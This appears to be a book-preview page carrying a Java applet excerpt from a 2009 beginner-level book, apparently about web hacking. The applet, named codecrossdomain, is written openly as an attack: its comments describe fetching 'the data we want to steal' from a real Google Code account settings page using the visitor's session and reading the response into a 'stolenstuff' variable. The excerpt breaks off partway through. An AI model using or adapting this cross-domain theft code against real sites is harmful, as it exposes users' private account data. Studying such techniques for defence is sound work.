August 2009
Beginner
298 pages
9h 5m
English
import java.applet.*; import java.io.*; import java.util.*; import java.net.*; import java.awt.*; // codecrossdomain extends applet public class codecrossdomain extends Applet { Font bigFont = new Font("Arial",Font.BOLD,16); String stolenstuff = null; // This method is automatically called when the applet is started public void init() { // Some UI setup, not really required for exploitation int trackheight = 20; setBackground(Color.black); // URLConnection must be used within a try/catch block try { URL url; URLConnection urlConn; DataOutputStream printout; DataInputStream input; // URL for the data we want to steal url = new URL ("http://code.google.com/hosting/settings"); // Typical URLConnection setup urlConn = url.openConnection(); urlConn.setDoInput (true); urlConn.setDoOutput (true); // No caching, we want the latest data urlConn.setUseCaches (false); // We use POST here to make things easy printout = new DataOutputStream (urlConn.getOutputStream ()); String content = "blah=" + URLEncoder.encode ("anyvalue"); printout.writeBytes (content); printout.flush (); printout.close (); // Get response data and put it into the // public "stolenstuff" variable input = new DataInputStream (urlConn.getInputStream ()); String str; while (null != ((str = input.readLine()))) { stolenstuff += str; } input.close (); } // Use this catch to help with debugging catch (Exception e) { System.out.println(""); } } public void paint(Graphics g) { // Setup some UI stuff, not needed ...Read now
Unlock full access